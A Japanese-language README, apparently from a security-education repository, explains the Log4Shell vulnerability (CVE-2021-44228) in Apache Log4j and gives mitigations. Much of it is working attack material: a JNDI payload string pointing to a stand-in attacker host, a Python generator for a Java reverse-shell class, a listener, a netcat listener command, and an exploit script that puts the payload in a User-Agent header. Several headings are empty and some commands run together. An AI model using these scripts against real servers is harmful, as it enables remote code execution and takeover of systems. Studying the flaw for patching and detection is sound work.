
重大な影響(CVSS 10.0) | 2021年に発見されたApache Log4jのこの欠陥は、リモートコード実行(RCE)を可能にし、世界中の何百万ものシステムに影響を与えました。今日でも、サイバーセキュリティにおける重要な教訓です!
CVE-2021-44228は、Log4Shellとして知られる、Apache Log4j 2ロギングライブラリにおける重大な**リモートコード実行(RCE)**脆弱性です。この欠陥により、悪意のある攻撃者は、アプリケーションが記録する特別に細工されたテキスト文字列を送信するだけで、脆弱なサーバー上で任意のコードを実行できます。
Log4Shellは単独ではありません。CVE-2021-45046(RCE/DoS)、CVE-2021-45105(DoS)、CVE-2021-4104(Log4j 1.2のRCE)を生み出しました。
問題の核心は、Log4jにおける**JNDI(Java Naming and Directory Interface)**の安全でない処理です。これは、サニタイズなしでリモートルックアップを解決します。
${jndi:ldap://atacante.com:1389/Exploit}
仕組み:
${...}を検出し、JNDIルックアップを起動します。悪用可能なプロトコル: LDAP、RMI、DNS、IIOPなど。これにより以下のような脅威が可能になります:
感染チェーン(キルチェーン):
影響の統計:
⚠️ 警告: このコンテンツは教育目的および許可されたテスト専用です。明示的な許可なしにシステムで使用しないでください。許可なく脆弱性を悪用することは違法です(例:米国のCFAAなどの法律に違反)。常に倫理的なペンテストを実施してください。
kozmer/log4j-shell-pocなどの公開リポジトリに基づく、管理された環境(例:ローカルのDocker/VM)でのPoCの簡略化された概要です。
git clone https://github.com/kozmer/log4j-shell-poc.git && cd log4j-shell-poc/docker build -t log4j-vuln . && docker run --network host -p 8080:8080 log4j-vuln/usr/bin/jdk1.8.0_202)。#!/usr/bin/env python3
import argparse
from colorama import Fore, init
import subprocess
import threading
from pathlib import Path
import os
from http.server import HTTPServer, SimpleHTTPRequestHandler
CUR_FOLDER = Path(__file__).parent.resolve()
def generate_payload(userip: str, lport: int) -> None:
program = f"""
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.Socket;
public class Exploit {{
public Exploit() throws Exception {{
String host="{userip}";
int port={lport};
String cmd="/bin/sh";
Process p = new ProcessBuilder(cmd).redirectErrorStream(true).start();
Socket s = new Socket(host, port);
// ... (código de shell inversa simplificado)
}}
}}
"""
p = CUR_FOLDER / "Exploit.java"
try:
p.write_text(program)
subprocess.run([f"{CUR_FOLDER}/jdk1.8.0_202/bin/javac", str(p)])
print(Fore.GREEN + '[+] Clase Exploit generada exitosamente')
except Exception as e:
print(Fore.RED + f'[-] Error: {e}')
# ... (funciones para LDAP server y web server similares al original)
def main():
init(autoreset=True)
print(Fore.BLUE + "[!] PoC Educativa para CVE-2021-44228 - ¡Úsala solo en labs!")
# Argumentos: --userip localhost --webport 8000 --lport 9001
# Lanza LDAP, web server y genera payload
if __name__ == "__main__":
main()
python3 poc.py --userip 127.0.0.1 --webport 8000 --lport 9001nc -lvnp 9001 - リバースシェルを監視します。シンプルなPython PoC(リスナー+エクスプロイト):
クイックデモ用に、この2つのスクリプトを使用します(最初にリスナーを実行)。
listener.py:
import socket
import threading
def start_listener(ip, port):
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.bind((ip, port))
server.listen(1)
print(f"[*] Listener en {ip}:{port}...")
conn, addr = server.accept()
print(f"[+] Conexión de {addr}")
data = conn.recv(4096)
print(data.decode('utf-8', errors='ignore'))
conn.close()
if __name__ == "__main__":
threading.Thread(target=start_listener, args=("0.0.0.0", 1389)).start()
input("Presiona Enter para detener...\n") # Mantiene vivo
exploit.py:
import requests
import argparse
def send_exploit(target, lhost, lport):
payload = f"${{jndi:ldap://{lhost}:{lport}/Exploit}}"
headers = {'User-Agent': payload}
try:
r = requests.get(target, headers=headers, timeout=10)
print(f"[+] Enviado a {target} | Status: {r.status_code}")
except Exception as e:
print(f"[!] Error: {e}")
if __name__ == "__main__":
parser = argparse.ArgumentParser()
parser.add_argument("-t", "--target", required=True)
parser.add_argument("-l", "--lhost", required=True)
parser.add_argument("-p", "--lport", type=int, default=1389)
args = parser.parse_args()
send_exploit(args.target, args.lhost, args.lport)
実行: python3 listener.py & python3 exploit.py -t "http://target:8080" -l "127.0.0.1"
注意: 模擬LDAPにはMarshalsecが必要です。隔離されたラボでのみテストしてください。
今すぐ行動しましょう!Log4Shellは更新と設定で回避可能です。
mvn dependency:treeやSnykなどのツールで間接的な依存関係を確認。-Dlog4j2.formatMsgNoLookups=trueLOG4J_FORMAT_MSG_NO_LOOKUPS=truelog4j2.xmlで、<Configuration xmlns:log4j="..."> <property name="log4j2.formatMsgNoLookups" value="true"/></Configuration>を追加zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
${jndi:*}ペイロードをブロック(例:ModSecurityやCloudflareのルール)。派生CVEについて:
このREADME.mdはサイバーセキュリティの教育と啓発を目的としています。違法行為を促進するものではありません。セキュリティ専門家であれば、OWASP Dependency-Checkなどのツールを使用して環境を評価してください。より安全な世界のためにシステムを最新に保ちましょう! 🔒
最終更新:2023年までのデータに基づく。最新情報は公式ソースを確認してください。
| 特性 | 詳細 |
|---|
| CVSS v3.1スコア | 10.0(クリティカル) 🔥 - 可能な最大の深刻度。 |
| 影響を受けるバージョン | Log4j 2.0-beta9から2.14.1(サブCVEについては2.16.0までの派生版を含む)。 |
| 根本原因 | 検証なしのJNDIメッセージ置換。リモートルックアップが有効。 |
| ベクトル | リモート、認証不要。Web/クラウドアプリのJava 8+に影響。 |
| 影響を受ける製品 | Apache Struts、Solr、Druid、Elasticsearch、Dubbo、VMware vCenterなど。 |
| 悪用可能性 | 容易:GitHubに公開PoCあり。特権は不要。 |